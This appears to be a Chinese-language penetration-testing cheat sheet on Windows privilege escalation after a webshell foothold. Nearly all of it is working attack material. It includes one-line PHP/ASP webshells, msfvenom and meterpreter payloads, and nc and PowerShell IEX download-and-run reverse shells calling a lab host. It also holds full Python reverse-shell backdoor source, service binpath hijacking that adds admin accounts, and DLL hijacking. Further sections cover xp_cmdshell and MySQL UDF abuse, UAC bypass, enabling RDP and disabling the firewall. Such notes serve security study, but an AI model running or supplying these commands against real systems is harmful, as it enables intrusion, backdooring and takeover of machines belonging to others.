windows基础知识
基本命令
net user net user administrator net localgroup net user col 123456 /add net user col /del net localgroup Administrators col /add 此时同时存在两个组里面 本地组成员 *Administrators *Users cmd /k cmd /c (keep/close)
内置用户组
administrators,管理员组
users组,新建用户默认所属的组
guests组,权限最低
iis_users组 Internet 信息服务使用的内置组。
SID
使用标准表示法将 SID 从二进制转换为字符串格式时,SID 的组件更容易可视化:
S-R-X-Y1-Y2-Yn-1-Yn
在这种表示法中,下表描述了 SID 的组成部分:
评论 | 说明 |
S | 指示字符串是 SID |
R | 指示修订级别 |
X | 指示标识符颁发机构值 |
Y | 表示一系列子授权值,其中 n 是值的数目 |
内置管理员组的 SID 以标准化 SID 表示法表示为以下字符串:
S-1-5-32-544
此 SID 包含四个组成部分:
- 修订级别 (1)
- 标识符颁发机构值(5, NT Authority)
- 域标识符 (32, Builtin)
- 相对标识符 (544, Administrators)
域 (Contoso\Domain Admins) 中的“Domain Admins”组的 SID:
S-1-5-21-1004336348-1177238915-682003330-512
Contoso\Domain Admins 的 SID 具有:
- 修订级别 (1)
- 标识符颁发机构(5,NT Authority)
- 域标识符 (21-1004336348-1177238915-682003330, Contoso)
- 相对标识符(512,Domain Admins)
提权总结
基础知识
概念
webshell的权限根据不同的中间件权限有所不同,如没经过特殊设置则继承该中间件的权限。
webshell的默认权限是iis_users组中的
常用方法
windows的常用提权方法,主要分为漏洞提权、windwos特性提权、第三方组件提权,数据库提权和ftp
提权等
基础命令
systeminfo | findstr OS #获取系统版本信息 systeminfo&&wmic product get name,version&&wmic nic where PhysicalAdapter=True get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #检测系统软件包 hostname #获取主机名称 whoami /all #获取当前用户的详细信息 whoami /priv #显示当前用户的安全特权 net start #查看服务 Set #环境变量 quser or query user #获取在线用户 netstat -ano | findstr 3389 #获取rdp连接来源IP dir c:\programdata\ #分析安装杀软 wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口,默认3389 tasklist /svc | find "TermService" #获取服务pid netstat -ano |find "pid" #获取远程端口 wmic os get caption # 查看系统名 wmic qfe get Description,HotFixID,InstalledOn #查看补丁信息 mstsc #远程桌面连接
常见杀软
360sd.exe 360杀毒
360tray.exe 360实时保护
ZhuDongFangYu.exe 360主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 安全狗
McAfee McShield.exe McAfee
egui.exe NOD32
AVP.exe 卡巴斯基
avguard.exe 小红伞
常见 webshell 所处的权限
- ASP、PHP - 匿名权限
- ASPX - user 权限
- JSP - 通常是系统权限
一句话木马
php: <?php @eval($_POST['pass']);?> asp: <%eval request ("pass")%> aspx: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
提权思路
信息收集
机器的系统及其版本
机器的打补丁情况
机器安装的服务
机器的防火墙策略配置
机器的防护软件情况
导入系统信息
systeminfo > C:\ProgramData\sysinfo.txt
补丁查询
https://i.hacking8.com/tiquan //在线查询 wesng WindowsVulnScan
wesng用法
sudo proxychains4 python3 wes.py --update python3 wes.py systeminfo.txt python3 wes.py systeminfo.txt -o vulns.csv python wes.py systeminfo.txt --impact "Remote Code Execution" -o vulns.csv python wes.py systeminfo.txt --impact "Remote Code Execution" -e -o vulns.csv
查询可写目录或文件
wt.aspx
wt.asp
在可写目录上传提权用的exe,然后执行命令
c:\windows\debug\WIA\ C:/windows/debug/WIA/PrintSpoofer64.exe -i -c whoami
metasplit 提权
反向连接后门
//启动 msfconsole //生成反向连接后门 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.128 lport=12345 -f exe > s.exe use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.10.128 set lport 12345 show options set AutoRunScript migrate -f exploit background
meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
windwos常见的提权模块
ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码 ms16_016 WebDAV本地提权漏洞(CVE-2016-0051) ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞
msf的基础命令
ps 列出进程 background 把session放置后台 sessions 查看会话 back 返回主界面 shell得到终端 search搜索模块 show 列模块 info 查看模块信息 use 使用模块 run post/windows/gather/enum_patches 查询补丁 use post/multi/recon/local_exploit_suggester 使用模块提权审查 set session 1 exploit use exploit/windows/local/ms16_075_reflection_juicy 使用存在的exp show options set session 2 run getuid //meterpreter > getuid //Server username: NT AUTHORITY\SYSTEM
维持权限
系统是x64,把后门迁移到别的进程
getpid 查看当前shell进程号 ps 列出正在运行进程 migrate 2744 迁移进程号 run post/windows/manage/migrate 自动寻找合适进程迁移
反弹shell提权
交互shell
交互shell就是shell等待你的输入,并且立即执行你提交的命令。
这种模式被称作交互式是因为shell与用户进行交互。
需要进行信息交互,例如输入某个信息 会返回信息 你需要对其输入内容,输入会执行命令。
例如:cmd终端 msf反弹后门shell nc反弹shell 这些都属于交互shell
非交互shell
非交互式模式,以shell script(非交互)方式执行。
在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。
当它读到文件的结尾,shell也就终止了。
nc反弹shell
上传nc.exe,然后执行命令
C:/ProgramData/nc.exe -e cmd 192.168.10.128 6666
powershell反弹cmd
攻击者监听
nc -lvnp 6666 在powercat.ps1页面开启一个服务器 python -m http.server 80
powershell IEX (New-Object system.Net.Webclient).DownloadString('http://192.168.10.128/powercat.ps1'); powercat -c 192.168.10.128 -p 6666 -e cmd
nishang反弹shell
Reverse TCP shell
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.128/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.10.128 -port 6666
Reverse TCP shel
nc -lvup 53 powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.128/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.10.128 -port 53
python反弹shell
import asyncio import socket import argparse parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter, description="############### pycat ###############\n" \ " Windows Reverse TCP backdoor\n" "Usage: python pycat.py --host netcatIP --port PORT\n\n" \ "Demo: youtube.com/watch?v=3sMhHL6c68E\n"\ "GitHub: github.com/danielhnmoreno/pycat\n" \ "Contact: contato@bluesafe.com.br") parser.add_argument('--host', action = 'store', dest = 'host', required = True, help = 'Host listening for reverse connection') parser.add_argument('--port', action = 'store', type=int, dest = 'port', required = True, help = 'Port') arguments = parser.parse_args() HOST = arguments.host PORT = arguments.port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) async def shell(): while 1: proc = await asyncio.create_subprocess_shell("cmd", stdin=asyncio.subprocess.PIPE, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT) cmd = b"\n" proc.stdin.write(cmd) while 1: while 1: out = await proc.stdout.readline() break_ = out.decode("latin-1") if break_[-2:] == ">\n" or break_[-3:] == "> \n": s.send(out[:-1]) break elif break_.endswith(">" + cmd.decode()) or break_.endswith("> " + cmd.decode()): pass else: s.send(out) cmd = s.recv(1024) cmd_ = cmd.decode() if cmd_ == "\n": proc.stdin.write(b"\n") elif cmd_.startswith("exit"): proc.terminate() break else: proc.stdin.write(cmd + b"\n") asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy()) asyncio.run(shell())
python pycat.py --host 192.168.10.128 --port 6666 C:\Python\Python39\python.exe C:\pycat.py --host 192.168.10.128 --port 6666 pyinstaller -Fw pycat.py pycat.exe --host 192.168.10.128 --port 6666
windows系统配置错误提权
系统服务权限配置错误
Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的),倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户 对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权 限。 windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护 的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
PowerUP脚本
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.128/PowerUp.ps1'); Invoke-AllChecks"
PrivescCheck脚本
推荐使用PrivescCheck
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.128/PrivescCheck.ps1'); Invoke-PrivescCheck"
关注Service Permissions 中扫到的服务及权限和用户
+------+------------------------------------------------+------+ | TEST | SERVICES > Service Permissions | VULN | +------+------------------------------------------------+------+ | DESC | Interact with the Service Control Manager (SCM) and | | | check whether the current user can modify any | | | registered service. | +------+-------------------------------------------------------+ [*] Found 1 result(s). Name : UsoSvc ImagePath : C:\WINDOWS\system32\svchost.exe - k netsvcs - p User : LocalSystem AccessRights : AllAccess IdentityReference : NT AUTHORITY\SERVICE Status : Stopped UserCanStart : True
whoami /all
NT AUTHORITY\SERVICE 已知组 S-1-5-6 必需的组, 启用于默认, 启用的组 iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
上面的IIS用户账户隶属于
NT AUTHORITY\SERVICE
组,我们可以以NT AUTHORITY\SERVICE
组中用户的身份运行如下命令
sc query UsoSvc sc stop UsoSvc sc config UsoSvc binpath= "cmd.exe /c net user /add Only Qwer1234 &" sc start UsoSvc sc stop UsoSvc sc config UsoSvc binpath= "cmd.exe /c net localgroup administrators /add only &" sc start UsoSvc sc stop UsoSvc sc config UsoSvc binpath= "C:\WINDOWS\system32\svchost.exe -k netsvcs -p" sc start UsoSvc
我们可将 UsoSvc
服务设置为后门程序,此连接一般不稳定,建议尽快进行后门迁移
sc config usosvc binPath= "C:\ProgramData\s.exe" //将 UsoSvc服务设置为后门程序 set AutoRunScript migrate -f 自动迁移进程 sc start UsoSvc //此时开始接受监听,返回system权限
Metasploit中的攻击模块 exploit/windows/local/service_permissions
service_permissions模块会使用两种方式获取system权限,如果以管理员权限运行,会尝试创建并运行一
个新的服务。如果当前权限不允许创建服务,会判断哪些服务的文件或文件夹的权限有问题,并对其进行劫
持,在劫持服务时会创建一个可执行程序,其文件名和安装路径都是随机的。
不带引号的服务路径提权
有引号正常执行,没有双引号的时候,windows会把空格前面的当做exe文件执行
使用PowerUp.ps1或PrivescCheck进行检测,会遍历出带有空格的文件路径
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.128/PowerUp.ps1');Invoke-AllChecks" powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.128/PrivescCheck.ps1'); Invoke-PrivescCheck"
或者使用命令
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """
Name : 2345PicSvc DisplayName : 2345看图王核心服务 ImagePath : C:\Program Files (x86)\2345Soft\2345Pic\protect\Pic_2345Svc.exe User : LocalSystem StartMode : Automatic
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.128 lport=12345 -f exe > s.exe 改名为Program.exe,上传到c盘,服务器重启后metasplit拿到system权限(系统在重启或者管理员重启该服务的时候就会获取系统权限,如果有执行权限也可直接执行)
注册键 AlwaysInstallElevated
允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System权限来安装恶意的MSI文件。
使用系统权限通过命令行修改注册表值为1
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
使用PowerUp
检测注册表是否有设置,如果返回True证明可以利用
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.128/PowerUp.ps1'); Get-RegAlwaysInstallElevated
iis_user组用户权限不足 返回false,但是一般普通用户是拥有权限的,可能会返回True。
获取Metasploit 下的利用
Metasploit中相应的利用模块为exploit/windows/local/always_install_elevated
,可以利用该模块来完成以上操作。使用该模块设置好SESSION,运行exploit后,会返回一个system权限的meterpreter。该模块会创建一个文件名随机的MSI文件,并在提权后删除所有已经部署的文件。
自动安装配置文件提权
网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用
安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。
dir /b /s c:\Unattend.xml /s:显示指定目录和所有子目录中的文件。
也可以使用msf的post/windows/gather/enum_unattend对这个配置文件扫描
使用Powerup扫描
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://host/powerup.ps1');Get-UnattendedInstallFile"
本地dll劫持提权
Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录 2、C:\Windows\System32 3、C:\Windows\System 4、C:\Windows 5、当前工作目录Current Working Directory,CWD 6、在PATH环境变量的目录(先系统后用户)
- 收集进程加载的dll
手动可以使用火绒剑分析进程执行时加载了哪些dll,尽量选择调用靠后或不影响进程启动的dll文件,否则会容易导致进程无法启动,系统文件一般我们都是没有权限更改不了的,所以一般选择未知文件和数字签名文件
用火绒剑找到一个数字签名文件
C:\Program Files (x86)\2345Soft\2345Pinyin\7.9.1.8320\libcurl_x86.dll
- 制作dll木马并上传
生成dll文件上传并在进程未启动时替换原来的dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.128 lport=12345 -f dll > libcurl_x86.dll
结束进程
/c taskkill /f /im "2345PinyinCloud.exe" /t
监听,启动服务即可
/c C:\Program Files (x86)\2345Soft\2345Pinyin\7.9.1.8320\2345PinyinCloud.exe
第三方提权
安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对,会对服务器造成安全隐患,从而导致服务器被提权。
sqlserver提权
敏感文件
web.config config.asp conn.aspx database.aspx
如果网站里面使用的数据库是sqlserver,那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定是系统权限,还要看管理员安装sqlserver的权限设置,一般情况是system权限或者pulic
netstat -ano 发现1433端口
用aspx工具中的DataBase连接SQL server
#检测xp_cmdshell是否开启 select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'; #如果xp_cmdshell被删除,可以使用命令加载 dbcc addextendedproc("xp_cmdshell","xplog70.dll"); #如果xplog70.dll文件被删除,可手动上传恢复 exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'; #启动xp_cmdshell扩展存储过程 exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure; # 默认情况下sp_configure无法查看和更改高级配置选项,show advanced options”用来显示或更改当前服务器的全局配置设置。当“显示高级选项” 设置为 1 时(默认值为 0),可以使用 sp_configure 列出、更改高级选项。 # reconfigure使语句执行后立即生效,若无此命令,需重启SQLserver后才生效。 #查看权限 exec xp_cmdshell "whoami"; #提权 exec xp_cmdshell "net user only Qwer1234 /add" exec xp_cmdshell "net localgroup administrators only /add" exec xp_cmdshell "net user only" #远程登陆,查看3389状态 exec master.dbo.xp_cmdshell 'netstat -ano'; #如果3389没开,使用写入注册表方式开启 exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; 或 exec master..xp_cmdshell "REG ADD HKLMISYSTEMCurrentControlSetlControNTerminal" "Server Iv fDenyTSConnections /t REG_ DWORD /d 0 /f"
mysql提权
提权条件
- 具有MySQL的root权限,且MySQL以system权限运行。
- 具有执行SQL语句的权限。
查询plugin插件目录 show variables like "%plugin%" 如果不存在的话可以在webshell找到mysql的安装目录然后手动创建\lib\plugin select @@basedir; 查看是否开启secure_file_priv SELECT @@global.secure_file_priv
获取root密码的方法:
1. 查看数据库配置文件 关键字:`config`、`conn`、`sql`、`data`、`inc`、`database`等 2. 下载mysql安装路径下的数据文件 - 安装路径下的data目录中存放的是数据库的数据信息 - root账号密码存储在mysql数据库下的user表中 - 完整路径=安装路径+`\data\mysql\user.MYD` 3. 3306端口弱口令爆破 4. sqlmap注入 `--sql-shell`模式
php文件连接后先导出udf,再创建函数
C:/phpStudy/MySQL/lib/plugin/moonudf.dll
UDF提权
UDF可以理解为MySQL的函数库,可以利用udf定义的创建函数。想要利用udf,必须上传udf.dll作为udf的执行库。MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能。
利用条件
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的
MySQL\Lib\Plugin\
文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\
文件夹,然后将udf.dll导入到该目录。如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于
c:/windows/system32/
目录,在windows server 2000下放置在c:/winnt/system32/
目录。掌握mysql数据库的root账户,从而拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限。
mysql提权问题
1.版本有32 和64位的mysql 创建函数的方法一样,但是64版本的要用64的udf.dll
2.The MySQL server is running with the –secure-file-priv option so it cannot execute this
statement
这种是mysql默认设置是不允许导入导出 需要在my.ini添加 secure-file-priv = 保存重启mysql即可
3.Can’t create/write to file ‘D:\phpStudy\MySQL\lib\plugin\moonudf.dll
这种是没有权限导出或者plugin目录不存在,需要手动创建或者权限不够
MOF提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
利用条件
- 只使用于windows系统,一般低版本系统才可以用,比如
xp
、server2003
- 对
C:\Windows\System32\wbem\MOF
目录有读写权限 - secure-file-priv参数开启
上传mof.php(zkeys)到网站目录下
net.exe user coleak$ xxx12456 /add && net localgroup administrators coleak$ /add
G6FTP提权
G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要使用lcx 工具进行端口转发。
漏洞复现
在webshell访问 配置文件 C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini
使用端口转发工具将8021端口转发出来
C:\ProgramData\lcx.exe -tran 2333 127.0.0.1 8021
另开一台win10攻击机,安装好服务
进入域,创建用户并设置用户主目录为C:\
,访问权限为所有,将添加管理员命令保存为bat文件,上传到目标并在设置中添加批处理命令
net user only QWEasd123 /add && net localgroup administrators only /add
在命令行中登录ftp,并执行批处理命令,但是执行失败了
quote stie ADD
ftp://192.168.10.146/右键登录进入c盘,利用C:\
可写,利用错误配置(不带引号的服务路径提权)上传Program.exe,重启后提权成功
利用C:\
可写,将bat文件写入到自启动项提权,或者直接写入后门文件
管理员下次登陆时会执行文件
ftp://192.168.10.146/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/ net user only QWEasd123 /add && net localgroup administrators only /add
绕过UAC bypassuac
需要UAC的授权才能进行的部分操作列表如下:
配置Windows Update
增加、删除账户
更改账户类型
更改UAC的设置
安装ActiveX
安装、卸载程序
安装设备驱动程序
将文件移动/复制到Program Files或Windows目录下
查看其它用户的文件夹
Bypassuac提权的MSF模块
use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。 use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。 set session 1 getsystem 迁移进行到64进程即可hashdump
MSF中Bypassuac模块的使用前提有两个:
- 系统当前用户必须在管理员组中,
- 用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我”
远程终端
在较高的权限下可以使用注册表命令 进行开启
2008 or 2012 or 2016 开启3389
echo DO ALL IN CMD! reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
msf命令开启3389端口
run getguid -e
一条命令开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
WMIC命令开启3389
- 支持系统:
Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(1:ON、0:OFF)
前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
- 支持系统
Win2k/XP/Win2k3
wmic /node:192.168.0.103 /user:administrator/password:betasec PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
- 支持系统
Win7/Win2k8/Win8.1/Win10/2012/2016
wmic /node:192.168.0.116/user:administrator/password:betasec RDTOGGLE WHERE ServerName='WINTO2CN3V2VPR' call SetAllowTSConnections 1 wmic /node:192.168.0.116 /user:administrator/password:betasec process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
查询是否开启3389
0为On 1为OFF
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
lcx端口转发
本地转发:客户端–>127.0.0.1:3307–>127.0.0.1:3306
lcx.exe -tran 3307 127.0.0.1 3306
远程转发
服务端执行
lcx.exe -slave client-host 2333 127.0.0.1 3389
客户端执行
lcx.exe -listen 51 2333
客户端或攻击者使用远程终端连接本地client-host:51
即登录服务端3389的远程桌面
补充知识
git配置命令
git config --global http.proxy #查看git的http代理配置 git config --global https.proxy #查看git的https代理配置 git config --global -l #查看git的所有配置 git config --list git config --global --unset http.proxy git config --global --unset https.proxy git config --global http.proxy 10.133.40.227:7890 git config --global https.proxy 10.133.40.227:7890 git config --global --edit
网络 代理/共享
之前给kali开启代理时将WLAN设置了共享,该选项会导致物理机不能接通虚拟机,因此需要提前关掉共享选项再访问虚拟机。
php内置服务器
php -S 0.0.0.0:80 -t `pwd`
python内置服务器
python -m http.server 8080 # 指定端口号为8080, 默认端口号为8000
nc参数
-g<网关> 设置路由器跃程通信网关,最多可设置8个。 -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。 -h 在线帮助。 -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。 -l 监听模式,用于入站连接 (监听本地端口)。 -n 直接使用IP地址,而不通过域名服务器。 -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。 -p<通信端口> 设置本地主机使用的通信端口。 -r 随机指定本地与远端主机的通信端口。 -s<来源位址> 设置本地主机送出数据包的IP地址。 -u 使用UDP传输协议。 -v 显示指令执行过程。 -w<超时秒数> 设置等待连线的时间。
远程桌面
mstsc
关闭防护墙
netsh advfirewall show allprofile state 查询状态 netsh advfirewall set allprofiles state off 关闭防火墙 net stop "Windows Firewall" 关闭防火墙 sc config sharedaccess start= disabled 禁用防火墙 net stop sharedaccess 关闭防火墙